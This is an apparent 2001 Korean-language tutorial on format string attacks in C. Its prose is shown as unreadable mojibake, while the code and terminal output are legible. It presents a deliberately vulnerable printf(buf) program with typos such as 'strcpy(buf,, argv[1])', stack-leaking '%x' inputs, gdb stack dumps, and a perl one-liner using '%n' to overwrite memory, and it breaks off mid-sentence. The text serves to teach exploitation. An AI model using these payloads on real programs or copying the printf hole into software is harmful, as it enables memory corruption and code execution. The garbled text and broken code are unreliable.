===================================================== Title : Format String Attack Author : xepfy Email : xepfy@hanmail.net Date : 2001. 5. 2 ===================================================== º» ¹®¼­´Â format string Ãë¾àÁ¡¿¡ ´ëÇØ ¼³¸íÇÑ ¹®¼­·Î¼­, ´ëÇѹα¹ÀÇ ³ë·ÂÇÏ´Â ¼ö¸¹Àº ÇØÄ¿µé¿¡°Ô Á¶±ÝÀ̳ª¸¶ µµ¿òÀÌ µÇ¾úÀ¸¸é ÇÏ´Â ¸¶À½À¸·Î ÀÛ¼ºÇÏ¿´´Ù. º» ¹®¼­¸¦ ¹èÆ÷ÇÏ´Â °ÍÀº ÀÚÀ¯À̳ª, ²À Ãâó¸¦ ¹àÇôÁֱ⠹ٶõ´Ù. ======> Format String Attack <====== 1. ¼­·Ð 2000³âµµ ÈĹݿ¡ ÇØÄ¿µé »çÀÌ¿¡ Å« ¹ÝÇâÀ» ÀÏÀ¸Å² º¸°í¼­ Çϳª°¡ ¹ßÇ¥µÇ¾ú´Ù. Format String Attack. Format String AttackÀ̶õ ¹«¾ùÀΰ¡? ÀÌ°ÍÀº ±âÁ¸¿¡ °¡Àå ³Î¸® »ç¿ëµÇ°í ÀÖ´ø Buffer Overflow °ø°Ý ±â¹ý¿¡ °ßÁÙ ¸¸ÇÑ °­·ÂÇÑ ÇØÅ· ±â¹ýÀ̾ú´Ù. ÀÌ ÇØÅ· ±â¹ýÀÌ ¹ßÇ¥µÇ°í ³ª¼­ ±× µ¿¾È º° ¹®Á¦ ¾ø¾î º¸¿´´ø °¢Á¾ ÇÁ·Î±×·¥µé¿¡ ´ëÇÑ Ãë¾àÁ¡ÀÌ ¼Ó¼Ó ¹ßÇ¥µÇ°í ÇØ´ç ÇÁ·Î±×·¥À» Á¦ÀÛÇß´ø ȸ»çµéÀº ÀÌ Ãë¾àÁ¡À» ÇØ°áÇϱâ À§ÇØ ºÐÁÖÇØÁö±â ½ÃÀÛÇß´Ù. ±×·¸´Ù¸é Format String AttackÀº ¾î¶² ¹æ½ÄÀ¸·Î ÀÌ·ç¾îÁö´Â °ÍÀΰ¡? ÀÌ°ÍÀ» ÀÌÇØÇϱâ À§Çؼ­´Â ¸ÕÀú format stringÀÌ ¹«¾ùÀÎÁö¸¦ ÀÌÇØÇØ¾ß ÇÏ°í, ÀÏ¹Ý c ÇÁ·Î±×·¥¿¡¼­ ÀÌ·¯ÇÑ format stringÀÌ ¾î¶»°Ô 󸮵Ǵ Áö¸¦ ÀÌÇØÇØ¾ß ÇÑ´Ù. ±âÁ¸ÀÇ buffer overflow °ø°Ý±â¹ýº¸´Ù ±× ³­À̵µ°¡ ¸Å¿ì ³ô±â´Â ÇÏÁö¸¸ ÀÌ¹Ì ¸¹Àº Ãë¾àÁ¡ÀÌ ¹ß°ßµÇ°í exploit code°¡ ¹ßÇ¥µÇ°í ÀÖ´Ù. º» ¹®¼­¿¡¼­´Â ÀÌ·¯ÇÑ format string attackÀÌ ¹«¾ùÀÎÁö ÀÚ¼¼È÷ »ìÆ캸µµ·Ï ÇÑ´Ù. 2. Format StingÀ̶õ ¹«¾ùÀΰ¡? 2.1 Format string Format String Attack¿¡ ´ëÇØ ¾Ë¾Æº¸±â Àü¿¡ format stringÀ̶õ ¹«¾ùÀÎÁö ¾Ë¾Æº¸ÀÚ. ´ÙÀ½Àº ÀÏ¹Ý cÇÁ·Î±×·¥¿¡¼­ ÈçÈ÷ ã¾Æº¼ ¼ö ÀÖ´Â printf()ÇÔ¼öÀÌ´Ù. printf("Hello~~ %s\n", str); Á÷°üÀûÀ¸·Î " "¾È¿¡ Æ÷ÇԵǾî ÀÖ´Â "Hello~~ %s\n"ÀÌ format stringÀÌ´Ù. Áï format stringÀº ÀÌ format stringÀ» »ç¿ëÇÏ´Â ÇÔ¼ö¿¡ ´ëÇØ, ¾î¶² Çü½Ä ȤÀº ÇüŸ¦ ÁöÁ¤ÇØ ÁÖ´Â ¹®ÀÚ¿­À» ÀǹÌÇÑ´Ù. 2.2 Format String »ç¿ë ½Ã ¹®Á¦Á¡ Format String °ø°Ý ¿ª½Ã ´ëºÎºÐÀÇ ´Ù¸¥ Ãë¾àÁ¡ ¶Ç´Â ¹ö±×µéó·³ ÀÏ¹Ý ÇÁ·Î±×·¡¸ÓµéÀÇ ÀÛÀº ½Ç¼ö¿¡¼­ ¹ß»ýµÈ Ãë¾àÁ¡À» ÀÌ¿ëÇÏ´Â °ÍÀÌ´Ù. ÀϹÝÀûÀ¸·Î ¾î¶² ÇÁ·Î±×·¥À» ÀÛ¼ºÇÒ ¶§ ±× ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ´Â ÇÁ·Î±×·¡¸Ó´Â ´ë°³ ´ÙÀ½°ú °°Àº Çü½ÄÀ¸·Î ÀÚ½ÅÀÌ ¿øÇÏ´Â ¹®ÀÚ¿­À̳ª ¼ýÀÚ µîÀ» ¿øÇÏ´Â °÷¿¡ Ãâ·ÂÇϰųª º¹»çÇÑ´Ù. printf( "%s", str); -------------- ¨ç ±×·¯³ª, ¾î¶² ÇÁ·Î±×·¡¸ÓµéÀº À§¿Í °°Àº ÇüŸ¦ ÀÌ¿ëÇÏÁö ¾Ê°í ÇÁ·Î±×·¡¹ÖÀ» º¸´Ù ÆíÇÏ°Ô Çϱâ À§Çؼ­ ´ÙÀ½°ú °°ÀÌ »ç¿ëÇÏ´Â °æ¿ì°¡ ÀÖ´Ù. printf(str); -------------------- ¨è ÀÌ¿Í °°Àº ÇüÅÂÀÇ ÇÁ·Î±×·¡¹ÖÀÌ À߸øµÈ °ÍÀº ¾Æ´Ï´Ù. ¾î¶»°Ô º¸¸é ¾Õ¼­ º¸¿©ÁØ Çü½Ä¨çÀÇ printf ÇÔ¼öº¸´Ù ÀûÀº ¾çÀÇ ¼Ò½ºÄڵ带 »ç¿ëÇÏ°í °°Àº ±â´ÉÀ» ¼öÇàÇÒ ¼ö ÀÖ´Ù¸é ³ªÁß¿¡ º¸¿©ÁØ Çü½Ä ¨è ÇüÅ·ΠprintfÇÔ¼ö¸¦ »ç¿ëÇÏ´Â °ÍÀÌ ´õ Çö¸íÇØ º¸ÀÏ ¼öµµ ÀÖ´Ù. ±×·¯³ª µÎ¹ø° Çü½ÄÀ» ÀÌ¿ëÇÏ¿© ÇÁ·Î±×·¡¹ÖÇÏ´Â °æ¿ì¿¡´Â ÇØÄ¿µé¿¡°Ô ÇÁ·Î±×·¥ÀÇ È帧À» ¹Ù²Ü ¼ö ÀÖ´Â ±âȸ¸¦ Á¦°øÇÏ°Ô µÈ´Ù´Â »ç½ÇÀ» ±ú´Þ¾Æ¾ß ÇÑ´Ù. °ú¿¬ ÇÁ·Î±×·¡¸ÓÀÇ À߸øÀº ¹«¾ùÀΰ¡? Printf() ÇÔ¼ö¸¦ ¨è¿Í °°Àº Çü½ÄÀ¸·Î »ç¿ëÇÏ´õ¶óµµ ÇÁ·Î±×·¡¸Ó°¡ ¿øÇÏ´Â ÇüÅ°¡ Ãâ·ÂµÈ´Ù. ±×·¯³ª, printf() ÇÔ¼ö¿¡ ÀÇÇؼ­ Çؼ®µÇ´Â ¹®ÀÚ¿­ "str"Àº Ãâ·ÂÇÏ°íÀÚ ÇÏ´Â ¹®ÀÚ¿­ÀÌ ¾Æ´Ï¶ó printf() ÇÔ¼ö¿¡¼­ »ç¿ëÇÒ °¢Á¾ Çü½Ä Áö½ÃÀÚ(%d, %s, %c..µîµî)¸¦ Æ÷ÇÔÇÑ format stringÀ¸·Î ÀνÄÇÏ°Ô µÈ´Ù. µû¶ó¼­ Ãâ·ÂÇÏ·Á´Â ¹®ÀÚ¿­ ³»¿¡ "%d"¿Í °°Àº Áö½ÃÀÚ°¡ µé¾îÀÖ°Ô µÇ¸é ÀÌ·¯ÇÑ Çü½Ä Áö½ÃÀÚÀÇ °³¼ö ¸¸Å­ÀÇ ÀÎÀÚµéÀÌ ½ºÅÃÀ¸·ÎºÎÅÍ ÃßÃâµÇ¾îÁø´Ù. À̶§ printf() ÇÔ¼ö¿¡ Àü´ÞµÈ ÀÎÀÚÀÇ °³¼ö¿Í´Â »ó°ü¾øÀÌ Áö½ÃÀÚÀÇ °³¼ö¸¸Å­ format string ¹®ÀÚ¿­ ´ÙÀ½¿¡ ÀúÀåµÇ¾î ÀÖ´Â ½ºÅÃÀÇ ³»¿ëÀ» ÃßÃâÇÏ°Ô µÈ´Ù´Â °ÍÀÌ´Ù. ÀϹÝÀûÀ¸·Î, ¨çÀÇ Çü½ÄÀ¸·Î printf() ÇÔ¼ö¸¦ »ç¿ëÇÏ´Â °æ¿ì¿¡´Â Ãâ·ÂÇÒ Çü½Ä Áö½ÃÀÚÀÇ °³¼ö¸¸Å­ Ãâ·Â½Ãų º¯¼öµéÀ» ÀÎÀÚ·Î ³Ñ°ÜÁÖ°Ô µÇÁö¸¸, ¨èÀÇ ÇüÅ·Π»ç¿ëÇÏ´Â °æ¿ì¿¡´Â »ç¿ëÀÚÀÇ ÀԷ¿¡ µû¶ó Áö½ÃÀÚÀÇ ¼ö°¡ ´Þ¶óÁú ¼ö ÀÖ°Ô µÇ¹Ç·Î, ¾ÇÀÇÀûÀÎ °ø°ÝÀÚ¿¡ ÀÇÇØ ½ºÅÃÀÇ ³»¿ëÀÌ È®À뵃 ¼ö ÀÖ´Â °ÍÀÌ´Ù. 2.3 »õ·Î¿î Áö½ÃÀÚ(directive) "%n" ÀϹÝÀûÀ¸·Î printf() ÇÔ¼ö¿¡¼­ »ç¿ëÇÏ´Â ¿©·¯ Çü½Ä Áö½ÃÀÚ(directive)¿¡ ´ëÇؼ­´Â ÀÌ¹Ì ¾Ë°í ÀÖÀ¸¸®¶ó »ý°¢µÈ´Ù. ±×·¯³ª ¿ì¸®°¡ ÀϹÝÀûÀ¸·Î »ç¿ëÇÏÁö ¾Ê´Â ¿©·¯ ±â´ÉÀÌ printf() ÇÔ¼ö¿¡¼­ Á¦°øµÈ´Ù. ¿ì¸®°¡ Àß ¾Ë°íÀÖÁö ¸øÇÏ´Â °Í¿¡´Â ¾î¶² °ÍÀÌ ÀÖ´ÂÁö ¾Ë¾Æº¸µµ·Ï ÇÏÀÚ. Format string¿¡ »ç¿ëµÇ´Â Çü½Ä Áö½ÃÀÚµé Áß¿¡´Â Ãâ·ÂµÉ ¹®ÀÚµéÀÇ °³¼ö¸¦ ¼¿ ¼ö ÀÖ´Â ±â´ÉÀ» Á¦°øÇÏ´Â °ÍÀÌ ÀÖ´Ù. ÀÌ°ÍÀÌ ¹Ù·Î "%n"À̶ó´Â Çü½Ä Áö½ÃÀÚÀÌ´Ù. "%n"À̶ó´Â Çü½Ä Áö½ÃÀÚ¸¦ »ç¿ëÇϸé, "%n"ÀÌ »ç¿ëµÇ±â Á÷Àü¿¡ »ç¿ëµÈ Çü½Ä¿¡ ÀÇÇØ Ãâ·ÂµÈ ¹®ÀÚµéÀÇ °³¼ö°¡ ´ÙÀ½ º¯¼ö¿¡ ÀúÀåµÈ´Ù. ¿¹¸¦ µé¾î ´ÙÀ½°ú °°Àº °æ¿ì posº¯¼ö¸¦ ÀÌ¿ëÇÏ¿© º¯¼ö x°¡ Ãâ·ÂµÇ°í "%n" Çü½Ä Áö½ÃÀÚ¸¦ ¸¸³ª±â Àü±îÁö ¾ó¸¶¸¸Å­ÀÇ °ø°£ÀÌ Ãâ·ÂµÇ´Â °¡¸¦ È®ÀÎÇÒ ¼ö ÀÖ°Ô µÈ´Ù. ÀÌ °æ¿ì º¯¼ö x¿¡ ´ëÇÑ 3ÀÚ¸®¿Í ºó°ø°£ 1°³°¡ ÀÖÀ¸¹Ç·Î, pos¿¡´Â 4°¡ ÀúÀåµÈ´Ù. int pos, x = 235, y = 93; printf("%d %n%d\n", x, &pos, y); printf("The offset was %d\n", pos); Áï, "%n" Çü½ÄÀº format string³»¿¡¼­ %n Áö½ÃÀÚ Àü¿¡ ÁöÁ¤µÈ Ãâ·ÂµÇ¾îÁ®¾ß ÇÏ´Â ¸ðµç °ø°£ÀÇ °³¼ö¸¦ ÇØ´ç º¯¼ö·Î ÀúÀåÇÏ°Ô µÈ´Ù. ´ÙÀ½ÀÇ °æ¿ì¿¡ Ãâ·ÂµÇ´Â posÀÇ °ªÀº ºñ·Ï bufÀÇ Å©±â°¡ 20ÀÌÁö¸¸ "20"ÀÌ ¾Æ´Ï¶ó "100"ÀÌ µÈ´Ù. char buf[20]; int pos, x = 0; snprintf(buf, sizeof(buf), "%.100d%n", x, &pos); printf("position: %d\n", pos); 3. printf() ÇÔ¼öÀÇ µ¿ÀÛ¹æ½Ä À̹ø Àý¿¡¼­´Â ½ÇÁ¦ printf() ÇÔ¼ö°¡ ¾î¶»°Ô µ¿ÀÛÇÏ´ÂÁö ÀÚ¼¼È÷ ¾Ë¾Æº¸µµ·Ï ÇÑ´Ù. ´ÙÀ½°ú °°Àº ¿¹Á¦¸¦ »ìÆì º¸µµ·Ï ÇÏÀÚ. <¿¹Á¦ 1> fmtme.c ============================================================== /* * fmtme.c */ #include int main(int argc, char **argv) { char buf[100]; int x; for(x=0; x<100; x++) buf[x] = 1; if(argc != 2) exit(1); x = 1; strcpy(buf,, argv[1]); buf[sizeof(buf) ? 1] = 0; printf(buf); printf("\nx is %d/%#x (@ %p)\n", x, x, &x); return 0; } ============================================================== À§ ÇÁ·Î±×·¥Àº ÇÁ·Î±×·¥ ½ÇÇà ½Ã ÀÎÀÚ·Î ³Ñ°Ü¹ÞÀº ¹®ÀÚ¿­°ú º¯¼ö x°ªÀ» Ãâ·ÂÇÏ´Â °£´ÜÇÑ ÇÁ·Î±×·¥ÀÌ´Ù. ÀϹÝÀûÀÎ °æ¿ìºÎÅÍ ½ÇÇàÇØ º¸µµ·Ï ÇÏÀÚ. ------------------------------------------------------------ [xepfy@129 format]# ./fmtme "hello world" hello world x is 1/0x1(@0xbffff9c0) [xepfy@129 format]# ------------------------------------------------------------ <±×¸² 1> ¿¹Á¦ ÇÁ·Î±×·¥ÀÇ ÀϹÝÀûÀÎ ½ÇÇà À§ÀÇ °æ¿ì¿¡´Â ¾î¶² Ưº°ÇÑ °ÍÀÌ ¾ø´Ù. ÀÌ ÇÁ·Î±×·¥Àº ÀÔ·ÂÇÑ ¹®ÀÚ¿­À» ¹öÆÛ·Î º¹»çÇÏ¿© ¹®ÀÚ¿­ÀDZæÀÌ¿Í ±× °ªÀ» Ãâ·ÂÇÏ¿´´Ù. ¶ÇÇÑ º¯¼ö xÀÇ °ªÀÎ "1"À» Ãâ·ÂÇÏ°í º¯¼ö x°¡ ÀúÀåµÇ¾î ÀÖ´Â ÁÖ¼ÒÀÎ 0xbffff9c0¶ó´Â °ªÀ» Ãâ·ÂÇÏ¿´´Ù. ÀÏ´Ü À§ ¿¹Á¦ ÇÁ·Î±×·¥ÀÌ ¼öÇàµÇ´Â main() ÇÔ¼öÀÇ ½ºÅÿµ¿ªÀÌ ¾î¶² ÇüŸ¦ °¡Áö°í ÀÖ´ÂÁö È®ÀÎÇØ º¸¸é ´ÙÀ½°ú °°´Ù. <½ºÅà Æ÷ÀÎÅÍ(esp) : 0xbffff980> --->[ º¯¼ö x ] [ buf[0,1,2,3] ] [ buf[3,4,5,6] ] [ ... ] [ buf[96,97,98,99] ] [ fp ] [ Return Addr ] [ Arguments ] <±×¸² 2> Main() ÇÔ¼öÀÇ ½ºÅÿµ¿ª (gdb) info reg esp esp 0xbffff980 -1073743488 (gdb) x/50wx 0xbffff980 0xbffff980: 0x00000001 0x41414141 0x20782520 0x25207825 0xbffff990: 0x78252078 0x01010100 0x01010101 0x01010101 0xbffff9a0: 0x01010101 0x01010101 0x01010101 0x01010101 0xbffff9b0: 0x01010101 0x01010101 0x01010101 0x01010101 0xbffff9c0: 0x01010101 0x01010101 0x01010101 0x01010101 0xbffff9d0: 0x01010101 0x01010101 0x01010101 0x01010101 0xbffff9e0: 0x01010101 0x00010101 0xbffffa08 0x400349cb 0xbffff9f0: 0x00000002 0xbffffa34 0xbffffa40 0x40013868 0xbffffa00: 0x00000002 0x08048380 0x00000000 0x080483a1 0xbffffa10: 0x08048430 0x00000002 0xbffffa34 0x080482e0 0xbffffa20: 0x080484ec 0x4000ae60 0xbffffa2c 0x40013e90 0xbffffa30: 0x00000002 0xbffffb59 0xbffffb7b 0x00000000 <±×¸² 3> gdb¸¦ ÅëÇÑ ½ºÅÿµ¿ª È®ÀÎ main() ÇÔ¼ö´Â ÀÍÈ÷ ¾Ë°í ÀÖ´Â ´ë·Î ¸ÕÀú ÀÎÀÚ(argument)µéÀÌ ½ºÅÿ¡ pushµÇ°í, º¹±ÍÁÖ¼Ò¿Í ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ°¡ ÀúÀåµÇ°í main() ÇÔ¼öÀÇ Áö¿ªº¯¼ö¸¦ À§ÇÑ °ø°£ÀÌ È®º¸µÈ´Ù. À̶§, <¿¹Á¦ 1>ÀÇ ÇÁ·Î±×·¥¿¡¼­ º¸µíÀÌ ¹è¿­ buf°¡ ¸ÕÀú ½ºÅÿ¡ pushµÇ°í intÇü º¯¼ö x°¡ ½ºÅÿ¡ pushµÈ´Ù. µû¶ó¼­ main() ÇÔ¼öÀÇ ½ºÅÿµ¿ªÀº <±×¸² 2>ÀÇ ÇüÅ·ΠÀÌ·ç¾îÁø´Ù. ´ÙÀ½Àº printf() ÇÔ¼ö°¡ ½ÇÇàµÇ±â Á÷ÀüÀÇ ½ºÅà ¿µ¿ªÀ» È®ÀÎÇØ º¸µµ·Ï ÇÏÀÚ. ÀÌ °æ¿ì, printf ÇÔ¼ö¸¦ À§ÇÑ ÀÎÀÚ°¡ ½ºÅÿ¡ pushµÇ¾î ÀÖ´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. [ fp ] [ Return Addr ] 0xbffff97c --> [ printf() 1st ÀÎÀÚ ] <-- format string("buf") [ º¯¼ö x ] [ buf[0,1,2,3] ] [ buf[3,4,5,6] ] [ ... ] [ buf[96,97,98,99] ] [ fp ] [ Return Addr ] [ Arguments ] <±×¸² 4> printf() ÇÔ¼ö°¡ È£ÃâµÈ ÈÄÀÇ ½ºÅà ¿µ¿ª printf() ÇÔ¼ö°¡ È£ÃâµÇ´Â °æ¿ì ¿ª½Ã, ÀÏ¹Ý ´Ù¸¥ ÇÔ¼öµé°ú ¸¶Âù°¡Áö·Î ÀÏ´Ü ÇÔ¼öÀÇ ÀÎÀÚ°¡ ½ºÅÿ¡ pushµÇ°í º¹±ÍÁÖ¼Ò, ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ µîÀÌ pushµÈ´Ù. <¿¹Á¦ 1>ÀÇ °æ¿ì, printf() ÇÔ¼öÀÇ ÀÎÀÚ·Î »ç¿ëµÇ´Â °ÍÀº "str"»ÓÀ̹ǷÎ, ½ºÅÿ¡´Â "str"¸¸ÀÌ pushµÈ´Ù. À̶§, "str"Àº format stringÀ¸·Î »ç¿ëµÉ ºÎºÐÀÌ°í, ÀÌ´Â ½ÇÁ¦ format string ÀÚü°¡ µé¾îÀÖ´Â °ÍÀÌ ¾Æ´Ï¶ó, format string Æ÷ÀÎÅÍ°¡ ÀúÀåµÈ´Ù. ½ÇÁ¦·Î ½ºÅà ³»¿ëÀ» È®ÀÎÇØ º¸¸é format stringÀº ¹è¿­ bufÀÇ ÁÖ¼Ò(0xbffff984)¸¦ °¡¸®Å°°í ÀÖ´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù. ½ºÅà ¿µ¿ªÀ» gdb¸¦ ÀÌ¿ëÇÏ¿© È®ÀÎÇϸé <±×¸² 5>¿Í °°´Ù. ÀÌ¿Í °°Àº ½ºÅÿ¡ ´ëÇÑ ÀÛ¾÷ÀÌ ¿Ï·áµÇ¸é printf() ÇÔ¼ö´Â format stringÀ» ÆĽÌÇÏ°í ½ÇÁ¦ Ãâ·ÂÀÌ ÀÌ·ç¾îÁö°Ô µÈ´Ù. (gdb) x/50wx 0xbffff97c 0xbffff97c: 0xbffff984 0x00000001 0x41414141 0x20782520 0xbffff98c: 0x25207825 0x78252078 0x01010100 0x01010101 0xbffff99c: 0x01010101 0x01010101 0x01010101 0x01010101 0xbffff9ac: 0x01010101 0x01010101 0x01010101 0x01010101 0xbffff9bc: 0x01010101 0x01010101 0x01010101 0x01010101 0xbffff9cc: 0x01010101 0x01010101 0x01010101 0x01010101 0xbffff9dc: 0x01010101 0x01010101 0x00010101 0xbffffa08 0xbffff9ec: 0x400349cb 0x00000002 0xbffffa34 0xbffffa40 0xbffff9fc: 0x40013868 0x00000002 0x08048380 0x00000000 0xbffffa0c: 0x080483a1 0x08048430 0x00000002 0xbffffa34 0xbffffa1c: 0x080482e0 0x080484ec 0x4000ae60 0xbffffa2c 0xbffffa2c: 0x40013e90 0x00000002 0xbffffb59 0xbffffb7b 0xbffffa3c: 0x00000000 0xbffffb8c <±×¸² 5> printf() ÇÔ¼ö È£Ãâ Á÷ÈÄÀÇ ½ºÅà ¿µ¿ª printf() ÇÔ¼ö´Â format stringÀ» ÆĽÌÇϱ⠽ÃÀÛÇÑ´Ù. À̶§, ÀÏ¹Ý ¹®ÀÚµéÀÇ °æ¿ì¿¡´Â ÀÏ¹Ý ¹®ÀÚ ±×´ë·Î¸¦ Ãâ·ÂÇÏ°í, Çü½Ä Áö½ÃÀÚ¸¦ ¸¸³ª´Â °æ¿ì¿¡´Â ÇØ´ç Çü½Ä Áö½ÃÀÚ¿¡ ´ëÇÑ ³»¿ëÀ» ½ºÅÿ¡¼­ popÇÏ¿© Ãâ·ÂÇÏ°Ô µÈ´Ù. ÀÌ¹Ì ¾Õ¿¡¼­ Àá½Ã ¾ð±ÞÇÑ °Íó·³ À̶§ popµÇ´Â °ÍÀº ½ºÅà »ó¿¡¼­ format string Æ÷ÀÎÅÍ ´ÙÀ½¿¡ À§Ä¡ÇÑ ³»¿ëÀÌ µÈ´Ù. µû¶ó¼­ <¿¹Á¦ 1> ÇÁ·Î±×·¥À» ¼öÇàÇÒ ¶§ Çü½Ä Áö½ÃÀÚ¸¦ »ç¿ëÇÏ´Â °æ¿ì¿¡´Â ½ºÅà ¿µ¿ªÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù. Çü½Ä Áö½ÃÀÚ¸¦ ÁöÁ¤ÇØ º¸µµ·Ï ÇÏÀÚ. À̹ø ¿¹¿¡¼­´Â format string À§ÂÊÀÇ ½ºÅÿ¡ ÀÖ´Â ³»¿ëµéÀ» Ãâ·ÂÇÏ°Ô µÉ °ÍÀÌ´Ù. [xepfy@129 format]# ./fmtme "AAAA %x %x %x %x" AAAA 1 41414141 20782520 25207825 x is 1/0x1(@0xbffff9c0) [xepfy@129 format]# <±×¸² 6> Çü½Ä Áö½ÃÀÚ¸¦ ÀÌ¿ëÇÑ ½ºÅà ³»¿ë È®ÀÎ <¿¹Á¦ 1>ÀÇ ÇÁ·Î±×·¥Àº ÀÎÀÚ·Î ³Ñ°Ü¹ÞÀº ¹®ÀÚ¿­ ±× ÀÚü¸¦ format stringÀ¸·Î ÀνÄÇÏ°í Ãâ·ÂÇÏ°í ÀÖ´Ù. µû¶ó¼­ printf() ÇÔ¼ö´Â ÀÔ·ÂµÈ "%x"¹®ÀÚ¸¦ Áö½ÃÀÚ·Î ÀνÄÇÏ°í, Ãâ·ÂÀ» À§ÇØ ÁöÁ¤µÈ º¯¼ö¿Í´Â »ó°ü¾øÀÌ ½ºÅÿ¡¼­ 4¹ÙÀÌÆ®(1¿öµå)¸¸Å­À» popÇÏ¿© Ãâ·ÂÇÏ°Ô µÈ´Ù. À§ ¿¹¿¡¼­ º¸¸é ÀÏ´Ü ÀÔ·ÂµÈ ¹®ÀÚ¿­ÀÎ AAAA¸¦ Ãâ·ÂÇÏ°í, %x 4°³¿¡ ´ëÇÑ °ªÀ¸·Î "1, 41414141, 20782520, 25207825"¶ó´Â °ªÀÌ ½ºÅÿ¡¼­ popµÇ¾î Ãâ·ÂµÈ °ÍÀ» º¼ ¼ö ÀÖ´Ù. ÀÌ´Â format stringÀÌ ÀúÀåµÇ¾î ÀÖ´Â ½ºÅÿµ¿ªÀÇ ¹Ù·Î ´ÙÀ½ ºÎºÐÀ̶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. 4. Format String Attack º» ¹®¼­ÀÇ 2, 3Àý¿¡¼­ format string¿¡ ¾î¶² Áö½ÃÀÚ°¡ ÁöÁ¤µÇ¾î ÀÖ´Â °æ¿ì ¹ß»ýÇÏ´Â ¹®Á¦Á¡°ú »õ·Î¿î Áö½ÃÀÚ "%n"¿¡ ´ëÇؼ­ ¾Ë¾Æº¸¾Ò´Ù. ±×·¸´Ù¸é ¾Õ¼­ »ìÆ캻 ¿¹Á¦ ÇÁ·Î±×·¥¿¡¼­ ÇÁ·Î±×·¥ ½ÇÇà ½Ã ÀÎÀÚ·Î Àü´ÞÇß´ø "%x" Áö½ÃÀÚ ´ë½Å "%n"Áö½ÃÀÚ¸¦ »ç¿ëÇÏ¸é ¾î¶»°Ô µÉ °ÍÀΰ¡? °£´ÜÈ÷ ¿¹»óÇØ º¼ ¼ö ÀÖ´Â °ÍÀº printf() ÇÔ¼ö´Â "%n" Áö½ÃÀÚ¸¦ ¸¸³ª¸é ÀÌ Áö½ÃÀÚÀÇ ¼ø¼­¿¡ ÇØ´çÇÏ´Â ³»¿ëÀ» ½ºÅÿ¡¼­ popÇÏ°í popµÈ ³»¿ëÀ» ÁÖ¼Ò·Î ÀÌ¿ëÇÏ¿©, ÇØ´ç ÁÖ¼Ò¿¡ Áö±Ý±îÁö Ãâ·ÂµÈ ¹®ÀÚÀÇ °³¼ö¸¦ ÀúÀåÇÏ°Ô µÉ °ÍÀÌ´Ù. À̶§ ¸¸¾à ÀÌ ÁÖ¼Ò°¡ ¾î¶² ÇÔ¼öÀÇ º¹±Í ÁÖ¼Ò°¡ ÀúÀåµÇ¾î ÀÖ´Â °÷À̶ó¸é ¾î¶»°Ô µÉ±î? ÇÁ·Î±×·¥ÀÇ È帧ÀÌ º¯°æµÉ ¼ö ÀÖ´Â °ÍÀÌ´Ù. ÀÌ°ÍÀÌ format string attackÀÇ ¸ñÀûÀÌ´Ù. 4.1 °£´ÜÇÑ ¸Þ¸ð¸® ³»¿ë º¯°æÇϱ⠸޸𸮠»óÀÇ Æ¯Á¤ À§Ä¡ÀÇ ³»¿ëÀ» ¿øÇÏ´Â ³»¿ëÀ¸·Î º¯°æ½ÃÅ°´Â ÀýÂ÷¿¡ ´ëÇؼ­ ¾Ë¾Æº¸µµ·Ï ÇÑ´Ù. ÀÌ·¸°Ô ¸Þ¸ð¸®»óÀÇ ³»¿ëÀ» º¯°æ½ÃŲ´Ù´Â °ÍÀº °á±¹ ¿øÇÏ´Â Äڵ带 ¼öÇàÇÒ ¼ö ÀÖ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. °á±¹ ÇØÄ¿µéÀÇ ¸ñÇ¥°¡ ÀÌ·ç¾îÁú ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. <¿¹Á¦ 1> ÇÁ·Î±×·¥ÀÇ º¯¼ö xÀÇ °ªÀº ÇöÀç "1"·Î ¼³Á¤µÇ¾î ÀÖ´Ù. x°ªÀ» º¯°æ½ÃÅ°±â À§Çؼ­´Â printf() ÇÔ¼öÀÇ ÀÎÀÚ·Î º¯¼ö xÀÇ ÁÖ¼Ò¸¦ ÀÔ·ÂÇÏ°í printfÀÇ Ã¹¹ø° ÀÎÀÚÀÎ x°ªÀ» ÇÁ¸°Æ®(pop)ÇÔÀ¸·Î½á º¯¼ö xÀÇ ÁÖ¼Ò¸¦ ¶Ù¾î³Ñ°í, "%n" Çü½ÄÀ» ÀÌ¿ëÇÏ¿© ¿ì¸®°¡ ¿øÇÏ´Â °ªÀ» xÀÇ ÁÖ¼Ò¿¡ ½á¾ß ÇÑ´Ù. ±²ÀåÈ÷ º¹ÀâÇØ º¸ÀÌÁö¸¸ ½ÇÁ¦·Î´Â ±×·¸Áö ¾Ê´Ù. ´ÙÀ½ ¿¹¸¦ »ìÆ캸µµ·Ï ÇÏÀÚ. ¿©±â¼­ ÀÔ·ÂÇÏ°íÀÚ ÇÏ´Â ÁÖ¼Ò °ªÀ» ¹®ÀÚ¿­·Î »ý°¢ÇÏÁö ¾Ê°í ½ÇÁ¦ 16Áø¼ö °ªÀ¸·Î ÀνÄÇϵµ·Ï Çϱâ À§ÇØ printf³ª perlÀ» ÀÌ¿ëÇØ¾ß ÇÑ´Ù. ¿©±â¼­´Â perlÀ» ÀÌ¿ëÇÏ¿© È®ÀÎÇØ º¸¾Ò´Ù. [xepfy@129 format]# perl -e 'system "./fmtme", "\xd0\xf9\xff\xbf%d%n"' Ðù? x is 5/0x5(@0xbffff9d0) <±×¸² 7> º¯¼ö x°ª º¯°æÇϱâ x°ªÀÌ º¯ÇÑ °ÍÀ» º¼ ¼ö ÀÖ´Ù. ±×·³ µµ´ëü ¾î¶² ÀÏÀÌ ÀϾ °ÍÀϱî? printf() ÇÔ¼ö´Â format string¿¡ ´ëÇÑ ÆĽÌ(parsing)À» ½ÃÀÛÇÑ´Ù. ¸ÕÀú óÀ½ 4¹ÙÀÌÆ®("\xd0\xf9\xff\xbf")¸¦ Ãâ·ÂÇÑ´Ù. ±×¸®°í ³ª¼­ "%d" Áö½ÃÀÚ¸¦ ó¸®Çϱâ À§ÇØ ½ºÅÿ¡¼­ format string Æ÷ÀÎÅÍ ´ÙÀ½¿¡ ÀúÀåµÇ¾î ÀÖ´Â ÇÑ ¿öµå¸¦ popÇÏ¿© Ãâ·ÂÇÏ°Ô µÈ´Ù. ÀÌ°ÍÀÌ ±âÁ¸ÀÇ º¯¼ö x¿¡ ÀúÀåµÇ¾î 